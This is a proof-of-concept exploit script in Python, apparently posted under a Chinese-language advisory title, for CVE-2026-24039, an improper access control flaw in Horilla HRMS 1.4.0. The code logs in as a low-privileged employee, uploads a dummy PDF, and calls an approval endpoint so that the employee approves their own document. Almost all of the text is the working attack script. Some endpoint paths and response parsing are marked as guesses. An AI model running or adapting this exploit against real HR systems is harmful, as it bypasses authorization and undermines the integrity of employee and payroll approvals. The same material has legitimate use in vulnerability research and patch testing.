CVE-2026-24039: Horilla HRMS 1.4.0 不正确访问控制漏洞

import requests import json # CVE-2026-24039 PoC - Horilla HRMS 1.4.0 Improper Access Control # Description: Low-privileged employee can self-approve documents they uploaded TARGET_URL = "http://target-horilla.com" USERNAME = "employee_user" PASSWORD = "employee_password" def get_auth_token(): """Authenticate and get session token""" session = requests.Session() login_url = f"{TARGET_URL}/accounts/login/" # Get CSRF token first response = session.get(login_url) csrf_token = session.cookies.get('csrftoken') # Login with employee credentials login_data = { 'username': USERNAME, 'password': PASSWORD, 'csrfmiddlewaretoken': csrf_token } response = session.post(login_url, data=login_data) return session def upload_document(session): """Upload a document and get document ID""" upload_url = f"{TARGET_URL}/payroll/document/" # Prepare document file files = { 'document': ('test_doc.pdf', b'%PDF-1.4 fake document', 'application/pdf') } data = { 'title': 'Test Document', 'description': 'Document for approval test' } response = session.post(upload_url, files=files, data=data) # Extract document ID from response # Adjust parsing based on actual response format doc_id = response.json().get('id') if response.ok else None return doc_id def approve_document(session, doc_id): """Exploit: Self-approve uploaded document without admin privileges""" # Vulnerable endpoint - missing authorization check approve_url = f"{TARGET_URL}/payroll/document/{doc_id}/approve/" payload = { 'approval_status': 'approved', 'approved_by': 'current_user' } # This request succeeds due to missing server-side authorization response = session.post(approve_url, json=payload) if response.status_code == 200: print(f"[+] SUCCESS: Document {doc_id} approved by low-privilege user!") print(f"[+] This demonstrates improper access control vulnerability") return True else: print(f"[-] FAILED: Status code {response.status_code}") return False def main(): print("[*] CVE-2026-24039 PoC - Horilla HRMS Improper Access Control") print("[*] Target: Document self-approval by low-privilege users\n") # Step 1: Authenticate as low-privilege employee session = get_auth_token() print("[*] Logged in as employee user") # Step 2: Upload a document doc_id = upload_document(session) if not doc_id: print("[-] Failed to upload document") return print(f"[*] Uploaded document with ID: {doc_id}") # Step 3: Exploit - Self-approve the document approve_document(session, doc_id) print("\n[*] Exploitation complete") if __name__ == "__main__": main()